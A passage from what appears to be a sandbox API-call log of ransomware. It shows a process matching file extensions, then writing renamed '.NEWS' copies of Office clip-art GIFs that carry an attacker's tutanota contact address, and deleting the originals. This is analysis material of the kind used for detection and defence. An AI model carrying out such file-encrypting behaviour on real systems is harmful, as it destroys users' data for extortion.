(lpString=".doc") returned 4 [0228.635] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0228.635] lstrlenW (lpString=".docx") returned 5 [0228.635] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0228.635] lstrlenW (lpString=".pdf") returned 4 [0228.635] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0228.635] lstrlenW (lpString=".xls") returned 4 [0228.635] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0228.635] lstrlenW (lpString=".xlsx") returned 5 [0228.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0228.635] lstrlenW (lpString=".ppt") returned 4 [0228.635] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0228.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.636] lstrlenW (lpString=".zip") returned 4 [0228.636] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0228.636] lstrlenW (lpString=".rar") returned 4 [0228.636] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0228.636] lstrlenW (lpString=".bz2") returned 4 [0228.636] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0228.636] lstrlenW (lpString=".7z") returned 3 [0228.636] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.636] lstrlenW (lpString=".dbf") returned 4 [0228.636] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0228.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.637] lstrlenW (lpString=".1cd") returned 4 [0228.637] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.637] lstrlenW (lpString=".jpg") returned 4 [0228.637] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0228.637] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0228.637] lstrlenW (lpString="AG00052_.GIF") returned 12 [0228.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0228.643] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=7686) returned 1 [0228.643] CloseHandle (hObject=0x324) returned 1 [0228.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0228.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0228.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0228.644] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0228.644] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0228.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0228.645] GetLastError () returned 0x0 [0228.645] ReadFile (in: hFile=0x324, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x1e06, lpOverlapped=0x0) returned 1 [0228.649] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0228.653] ReadFile (in: hFile=0x324, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0228.653] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0228.653] SetEndOfFile (hFile=0x35c) returned 1 [0228.654] CloseHandle (hObject=0x35c) returned 1 [0228.654] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0228.654] SetEndOfFile (hFile=0x324) returned 1 [0228.666] CloseHandle (hObject=0x324) returned 1 [0228.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0228.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0228.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.668] lstrlenW (lpString=".doc") returned 4 [0228.668] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0228.668] lstrlenW (lpString=".docx") returned 5 [0228.668] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0228.669] lstrlenW (lpString=".pdf") returned 4 [0228.669] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0228.669] lstrlenW (lpString=".xls") returned 4 [0228.669] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0228.669] lstrlenW (lpString=".xlsx") returned 5 [0228.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0228.669] lstrlenW (lpString=".ppt") returned 4 [0228.669] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0228.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.669] lstrlenW (lpString=".zip") returned 4 [0228.669] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0228.669] lstrlenW (lpString=".rar") returned 4 [0228.669] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0228.670] lstrlenW (lpString=".bz2") returned 4 [0228.670] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0228.670] lstrlenW (lpString=".7z") returned 3 [0228.670] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.670] lstrlenW (lpString=".dbf") returned 4 [0228.670] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0228.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.670] lstrlenW (lpString=".1cd") returned 4 [0228.670] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.670] lstrlenW (lpString=".jpg") returned 4 [0228.671] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0228.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.671] lstrlenW (lpString=".doc") returned 4 [0228.671] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0228.671] lstrlenW (lpString=".docx") returned 5 [0228.671] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0228.671] lstrlenW (lpString=".pdf") returned 4 [0228.671] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0228.671] lstrlenW (lpString=".xls") returned 4 [0228.671] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0228.671] lstrlenW (lpString=".xlsx") returned 5 [0228.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0228.672] lstrlenW (lpString=".ppt") returned 4 [0228.672] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0228.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.672] lstrlenW (lpString=".zip") returned 4 [0228.672] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0228.672] lstrlenW (lpString=".rar") returned 4 [0228.672] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0228.672] lstrlenW (lpString=".bz2") returned 4 [0228.672] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0228.672] lstrlenW (lpString=".7z") returned 3 [0228.672] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.673] lstrlenW (lpString=".dbf") returned 4 [0228.673] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0228.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.878] lstrlenW (lpString=".1cd") returned 4 [0228.878] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0228.878] lstrlenW (lpString=".jpg") returned 4 [0228.878] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0228.879] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0228.879] lstrlenW (lpString="AG00090_.GIF") returned 12 [0228.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0229.195] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=517) returned 1 [0229.195] CloseHandle (hObject=0x398) returned 1 [0229.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0229.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0229.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0229.196] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.197] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0229.261] GetLastError () returned 0x0 [0229.261] ReadFile (in: hFile=0x398, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x205, lpOverlapped=0x0) returned 1 [0229.265] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x210, lpOverlapped=0x0) returned 1 [0229.280] ReadFile (in: hFile=0x398, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0229.280] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0229.280] SetEndOfFile (hFile=0x3ac) returned 1 [0229.281] CloseHandle (hObject=0x3ac) returned 1 [0229.281] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.281] SetEndOfFile (hFile=0x398) returned 1 [0229.296] CloseHandle (hObject=0x398) returned 1 [0229.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0229.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0229.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.842] lstrlenW (lpString=".doc") returned 4 [0229.842] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.843] lstrlenW (lpString=".docx") returned 5 [0229.843] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0229.843] lstrlenW (lpString=".pdf") returned 4 [0229.844] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.844] lstrlenW (lpString=".xls") returned 4 [0229.844] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.844] lstrlenW (lpString=".xlsx") returned 5 [0229.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0229.844] lstrlenW (lpString=".ppt") returned 4 [0229.844] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.844] lstrlenW (lpString=".zip") returned 4 [0229.844] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.844] lstrlenW (lpString=".rar") returned 4 [0229.844] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.845] lstrlenW (lpString=".bz2") returned 4 [0229.845] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.845] lstrlenW (lpString=".7z") returned 3 [0229.845] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.845] lstrlenW (lpString=".dbf") returned 4 [0229.845] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.845] lstrlenW (lpString=".1cd") returned 4 [0229.845] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.845] lstrlenW (lpString=".jpg") returned 4 [0229.845] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.846] lstrlenW (lpString=".doc") returned 4 [0229.846] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.846] lstrlenW (lpString=".docx") returned 5 [0229.846] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0229.846] lstrlenW (lpString=".pdf") returned 4 [0229.846] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.846] lstrlenW (lpString=".xls") returned 4 [0229.846] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.847] lstrlenW (lpString=".xlsx") returned 5 [0229.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0229.847] lstrlenW (lpString=".ppt") returned 4 [0229.847] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.847] lstrlenW (lpString=".zip") returned 4 [0229.847] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.847] lstrlenW (lpString=".rar") returned 4 [0229.847] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.847] lstrlenW (lpString=".bz2") returned 4 [0229.847] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.847] lstrlenW (lpString=".7z") returned 3 [0229.848] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.848] lstrlenW (lpString=".dbf") returned 4 [0229.848] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.848] lstrlenW (lpString=".1cd") returned 4 [0229.848] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0229.848] lstrlenW (lpString=".jpg") returned 4 [0229.848] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.055] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0230.055] lstrlenW (lpString="AG00126_.GIF") returned 12 [0230.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0230.056] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=3140) returned 1 [0230.056] CloseHandle (hObject=0x324) returned 1 [0230.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0230.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0230.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0230.057] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.058] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0230.059] GetLastError () returned 0x0 [0230.059] ReadFile (in: hFile=0x324, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0xc44, lpOverlapped=0x0) returned 1 [0230.073] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0230.077] ReadFile (in: hFile=0x324, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0230.078] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0230.078] SetEndOfFile (hFile=0x3b4) returned 1 [0230.078] CloseHandle (hObject=0x3b4) returned 1 [0230.079] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.079] SetEndOfFile (hFile=0x324) returned 1 [0230.468] CloseHandle (hObject=0x324) returned 1 [0230.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0230.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.652] lstrlenW (lpString=".doc") returned 4 [0230.652] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.652] lstrlenW (lpString=".docx") returned 5 [0230.652] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.652] lstrlenW (lpString=".pdf") returned 4 [0230.652] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.652] lstrlenW (lpString=".xls") returned 4 [0230.652] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.652] lstrlenW (lpString=".xlsx") returned 5 [0230.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.653] lstrlenW (lpString=".ppt") returned 4 [0230.653] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.653] lstrlenW (lpString=".zip") returned 4 [0230.653] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.653] lstrlenW (lpString=".rar") returned 4 [0230.653] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.653] lstrlenW (lpString=".bz2") returned 4 [0230.653] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.653] lstrlenW (lpString=".7z") returned 3 [0230.653] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.654] lstrlenW (lpString=".dbf") returned 4 [0230.654] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.654] lstrlenW (lpString=".1cd") returned 4 [0230.654] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.655] lstrlenW (lpString=".jpg") returned 4 [0230.655] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.655] lstrlenW (lpString=".doc") returned 4 [0230.656] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.656] lstrlenW (lpString=".docx") returned 5 [0230.656] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.656] lstrlenW (lpString=".pdf") returned 4 [0230.656] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.656] lstrlenW (lpString=".xls") returned 4 [0230.656] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.656] lstrlenW (lpString=".xlsx") returned 5 [0230.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.656] lstrlenW (lpString=".ppt") returned 4 [0230.656] lstrcmpiW (lpString1=".ppt", 